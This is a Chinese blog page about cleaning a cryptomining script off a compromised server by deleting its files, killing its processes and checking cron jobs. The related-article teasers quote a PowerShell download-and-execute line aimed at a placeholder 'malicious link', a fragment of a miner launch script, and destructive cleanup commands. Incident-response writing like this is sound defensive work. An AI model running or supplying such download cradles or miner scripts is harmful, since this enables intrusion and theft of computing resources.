网页java挂挖矿_记一次服务器被植入挖矿脚本的解决过程

最新推荐文章于 2023-08-15 21:45:00 发布
最新推荐文章于 2023-08-15 21:45:00 发布
阅读量565 收藏
点赞数
文章标签： 网页java挂挖矿
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_34214135/article/details/114830396
版权

记一次服务器被植入挖矿脚本的解决过程

删除挖矿脚本和对应的进程

找出并删除对应挖矿脚本文件

b58a94145b90cd852185ddad7cf44a33.png

找出进程pid，并且kill掉

afac20de9307311e466fd1e1c6bd046c.png

无法kill掉的是原进程的守护进程，原进程不在它也会自动关闭，所以不用管它

0089b5d15be76e6494ec127712fb9020.png

kill掉后cpu恢复正常

bd2c950dd9530a065303765d31de633d.png

需要检查是否有定时任务

防止挖矿脚本重新下载。

最低0.47元/天 解锁文章
GaGa小姐姐鸭
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
java 挖矿代码,挖矿运行脚本注解(示例代码)
weixin_33413018的博客
03-20 1577
#!/bin/bash#杀掉旧 trace 挖苦程序if pgrep trace; then pkill trace; fi# CPU 数: 8threadCount=$(lscpu | grep ‘CPU(s)‘ | grep -v ‘,‘ | awk ‘{print $2}‘ | head -n 1);#主机名 md5 校验码: b8419160hostHash=$(hostname -f |...
40-40.XSS跨站脚本攻击植入方式.mp4
最新发布
05-10
40-40.XSS跨站脚本攻击植入方式.mp4
请警惕新的黑产趋势：入侵网站并植入挖矿恶意代码
Baidu_Secrity的博客
10-26 369
随着“炒币热”兴起，虚拟市场开始不断涌出的多种基于区块链技术的虚拟币，面对这些诱人的巨大利益，不法分子开始尝试“不同寻常”的挖矿之路。百度网址安全中心就发现了这样一台“挖矿机”........
阿里云ECS遭挖矿程序攻击解决方法（彻底清除挖矿程序，顺便下载了挖矿程序的脚本）
热门推荐
zzf1510711060的博客
10-11 1万+
一：杀死挖矿程序进程 在服务器上使用top指令查看cpu的使用情况，发现有一个叫java的程序占用cpu高达99.9% PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5778 root 20 0 ...
【应急响应】挖矿脚本检测指南&威胁情报&样本定性&文件清除&入口修复
今天是几号的博客
04-25 2758
某公司运维人员小李近期发现，通过搜索引擎访问该公司网站会自动跳转到恶意网站（博彩网站），但是直接输入域名访问该公司网站，则不会出现跳转问题，而且服务器CPU的使用率异常高，运维人员认为该公司服务器可能被黑客入侵了，现小李向XX安全公司求助，解决网站跳转问题。某天客户反馈：服务器疑似被入侵，风扇噪声很大，实验室因耗电量太大经常跳闸，服务器疑似被挖矿。挖矿程序定位定性，时间分析，排查安全漏洞，攻击IP找到等。3、删除市场上已知挖矿脚本(恶意竞争了，属于是)危害：CPU拉满，网络阻塞，服务器卡顿、耗电等。
凶残的挖矿脚本，奴役我数千机器！
weixin_39787242的博客
08-09 1万+
本文转载自不正经程序员 温馨提示：本文中出现的命令和脚本，不要在自家服务器上随便运行，除非你知道自己在做什么。 挖矿是把机器当作奴隶，一刻不停歇的去计算、运转，本质上是个无用的工作。但可惜的是，它能赚钱。用别人的机器去赚钱，更是很多人梦寐以求的，所以挖矿脚本屡禁不止。 有钱的地方，就有技术。但反过来并不一定成立。 牢记这个准则，就能够心平气和的学习新技术，而不是气急败坏的纠结为啥没钱。 1. 脚本从哪来？ 下面是一个http的报文。 GET /console/images/%2E%2E%2F
PoshC2_Old：Powershell C2服务器和植入物
03-03
请注意，此REPO尚未主动更新，但仍可正常运行-所有未来的C2SERVER / IMPLANT工作都将在PYTHON版本... 服务器端组件是用Python编写的，以实现跨平台的可移植性和速度，Powershell服务器组件仍然存在，可以使用“ Windows
Sun推动移动Java 拟将手机SIM卡植入个人PC
11-26
　Java Card是应用于微型计算机的一项标准，这些微型计算机可以被放入信用卡或者许多手机中使用的SIM卡。计算机可以运行Java程序，通过检查需要的密码等方式来为移动电话解锁。 Sun的软件执行副总裁Jonathan ...
电子测量中的一种植入式无线体温监测系统的研究
11-09
在电子测量领域，植入式无线体温监测系统的研究旨在解决动物活体实验中实验人员的安全问题，尤其是对于高传染性动物实验。传统的体温测量方法，如接触式测量，可能带来传染风险，而非接触式的红外热像仪则存在测量...
CSS代码 解决网页挂马问题
12-09
在网络安全领域，网页挂马是一种常见的威胁，它通过在网页中植入恶意代码，对访问者进行攻击或盗取信息。CSS（Cascading Style Sheets）通常用于定义网页的样式，但在这篇描述中，我们看到CSS被巧妙地用来辅助解决...
Redis 禁用 危险命令
MR.骑士道
03-22 3909
Redis 禁用 危险命令
Dr.Mine：一款支持自动检测浏览器内挖矿劫持的Node脚本
ZL_1618的博客
08-15 96
当检测到任何与在线加密货币挖矿相关的请求时，该工具都会标记相应的URL和正在使用的加密货币挖矿工具。因此，无论代码是如何编写或混淆的，Dr.Mine都会捕捉到它。Dr.Mine是一款功能强大的Node脚本，该脚本旨在帮助广大研究人员以自动化的形式检测浏览器内的挖矿（加密）劫持行为。4、为了减少额外的带宽和资源消耗，工具不会对如字体、图像、媒体和样式表之类的资源发送请求；1、首先，该工具会直接对通过命令行传递进来的单个URL地址进行解析；获取的，结果也会保存到文件中以供研究人员后续使用。
Java 对文件进行重命名操作（rename）
“罐装面包”的博客
09-27 4692
在传统的 java.io.File 类中有这样一个方法 boolean java.io.File.renameTo(File dest) 以下是关于方法的说明： Renames the file denoted by this abstract pathname. Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able
centos7挖矿病毒(xmrig,javs)清理
yuanwendong11的博客
07-26 3572
1. 查看计划任务 ls /var/spool/cron 删除异常任务其配置项。如果当前系统之前并未配置过计划任务，可以直接删除计划脚本目录即可： rm -rf /var/spool/cron/* 2. 查看密钥认证文件 删除木马创建的密钥认证文件，如果当前系统之前并未配置过密钥认证，可以直接清空认证存放目录： rm -rf /root/.ssh/* 如果有配置过密钥认证，需要删除指定的黑客创建的认证文件即可。 3. 修复 SSH 配置项 一般默认脚本中进行修改的 PermitRootLogin、R.
服务器被植入挖矿程序
Fight_Rain的博客
06-11 6253
在阿里云管控台看到有两台服务器cpu使用率一直在100左右，而平时只有不到1 解决1： 连到服务器，top命令发现wipefs进程占用大量cpu资源，先kill掉该进程，再删除一些文件，具体参考https://www.cnblogs.com/liuchuyu/p/7490338.html，删除时可能遇到Operation not permitted，一般是文件属性为 —i———-，先cha...
服务器是如何被植入挖矿程序的
Amy安的博客
08-17 2286
首先，攻击者利用Sqlserver应用的弱口令漏洞，并借助Sqlserver自身的命令执行组件执行cmd命令 "C:\Windows\system32\cmd.exe" /c whoami whoami是操作系统中用于查看当前有效用户名的命令 执行ps命令 powershell -c "iex((new-object Net.WebClient).DownloadString('恶意链接'))" or "C:\Windows\system32\cmd.exe" /c powershell -c "iex(
渗透模拟笔记（含靶场）——篡改页面写暗链、留Wa Kuang程序
W小哥
03-01 2451
一、环境搭建 使用vulhub的s2-045的环境 二、模拟攻击 篡改首页
Siemens PLM软件推动个性化医疗器械：图像到植入物自动化解决方案
本文档标题为《用于个性化医疗器械的图像到植入物解决方案》, 主要探讨的是医疗保健领域中的一项创新技术，即如何通过图像处理和 Siemens PLM 软件的解决方案，实现医疗器械的个性化制造。在这个过程中，重点在于将...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值